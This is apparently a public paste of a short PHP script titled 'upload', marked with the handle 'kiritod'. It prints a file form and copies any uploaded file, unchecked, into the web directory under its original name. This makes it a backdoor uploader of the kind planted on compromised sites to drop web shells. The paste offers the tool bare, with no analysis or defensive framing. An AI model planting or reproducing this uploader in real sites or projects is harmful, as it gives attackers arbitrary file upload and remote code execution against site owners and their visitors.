PHP   47

upload

Guest on 25th April 2022 01:41:32 AM

  1. <?php
  2. echo "kiritod"."<br>";
  3. echo '<form method="post" enctype="multipart/form-data"><input type="file" name="___upload" /><input type="submit" name="_upl" /></form>';
  4. if(isset($_POST['_upl'])){
  5.     if(copy($_FILES['___upload']['tmp_name'],$_FILES['___upload']['name'])){
  6.         echo '<b>Upload !!!</b><br><br>';
  7.     }else{
  8.         echo '<b>Fail</b><br><br>';
  9.     }
  10. }
  11. ?>

Raw Paste


Login or Register to edit or fork this paste. It's free.